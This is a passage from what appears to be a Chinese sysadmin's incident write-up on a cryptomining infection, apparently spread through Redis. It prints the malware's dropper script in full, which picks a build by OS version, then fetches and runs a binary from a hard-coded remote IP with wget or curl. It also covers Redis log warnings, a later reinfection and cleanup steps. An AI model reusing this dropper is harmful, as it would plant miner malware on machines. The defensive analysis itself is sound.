cs5="CentOS>
cs6="CentOS>
cs7="CentOS Linux> ub="Ubuntu"
de="Debian"
downFile(){
cd /var/lib
if [ -x"/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
elif [ -x"/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
fi
}
if [ $machine = "x86_64" ]; then
if [ -f "/etc/issue" ];then
version=`cat /etc/issue`
if [[ $version == $cs5* ]];then
downFile 5
elif [[ $version == $cs6*]]; then
downFile 6
elif [[ $version == $cs7*]]; then
downFile 7
elif [[ $version == $ub* ]];then
downFile ub
elif [[ $version == $de* ]];then
downFile ub
else
if [ -f"/etc/redhat-release" ]; then
> if [[$release == $cs5* ]]; then
downFile 5
elif [[$release == $cs6* ]]; then
downFile 6
elif [[$release == $cs7* ]]; then
downFile 7
fi
fi
fi
fi
fi
=================================================================
三:后续问题
虽然cpu问题就此解决,但是其中还是走了很多弯路了,网上所说的挖矿病毒和本案例有很多相似之处,但并不完全相同。另外在也在怀疑到底这个计划任务或者说病毒是怎么传播的本服务器上面来的使用last,history,及查看系统安全日志,并没有发现蛛丝马迹。按照网络上案例,并且由计划任务的名称,可以大致确定病毒的传播应该是由redis的漏洞传播的(参考:http://blog.jobbole.com/94518/连接中有解决方法。)。并且查看了一下本服务器的redis日志,可以看到redis启动还是有warning的,如下
====================================================================
1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t
o the lower value of 128.
1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7
1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this
issue add 'vm.overcommit_memory =1' to /etc/sysctl.conf and then reboot or run the command 'sysctlvm.overcommit_memory=1' for this
to take effect.
1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a
nd memory usage issues withRedis. To fix this issue run the command 'echo never >/sys/kernel/mm/transparent_hugepage/enabled' as ro
ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.
=====================================================================
从日志看出,redis还是有问题的存在的,并且日志信息也给出了解决的办法,按解决办法操作即可。
好景不长啊,今天(2016-10-31),和网上类似的挖矿病毒又来了,这次化身成minerd并且top可看,下载远程脚本,删除可执行文件和计划任务,删除.ssh/下的认证文件,禁止redis远程登录:
useradd -s /sbin/nologin -d /usr/local/redis redis
发现 redis/bin/下面多了一些白色的文件,不知道是什么东西,是不是应该删除?